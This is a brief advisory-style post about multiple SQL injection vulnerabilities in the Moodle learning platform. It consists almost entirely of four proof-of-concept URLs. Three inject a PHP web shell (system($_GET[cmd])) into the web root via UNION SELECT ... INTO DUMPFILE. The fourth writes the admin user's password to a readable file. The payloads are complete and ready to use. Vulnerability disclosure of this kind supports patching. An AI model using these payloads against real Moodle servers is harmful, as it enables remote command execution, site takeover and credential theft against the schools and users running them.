Moodle y las vulnerabilidades

Moodle Multiple SQL Injection Vulnerabilities

No exploit is required.

The following proof of concept URI are available:


http://www.example.com/course/category.php?id='%20UNION%20SELECT%200,'<?php%20system($_GET[cmd]);%20?>',0,0,0,0,0,0%20INTO%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_course_categories/*
http://www.example.com/course/info.php?id='UNION%20SELECT%200,0,0,0,'<?php%20system($_GET[cmd]);%20?>',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20INTO%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_course/*
http://www.example.com/course/category.php?id='%20UNION%20SELECT%20'',password,'','','','','',''%20INTO%20DUMPFILE%20'../../www/moodle/password.txt'%20FROM%20mdl_user%20WHERE%20username='admin'/*
http://www.example.com/iplookup/ipatlas/plot.php?address=127.0.0.1&user='UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'<?php%20system($_GET[cmd]);%20?>%20',0,0,0,0,0,0,0,0%20INTO%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_user/*

LMS Moodle video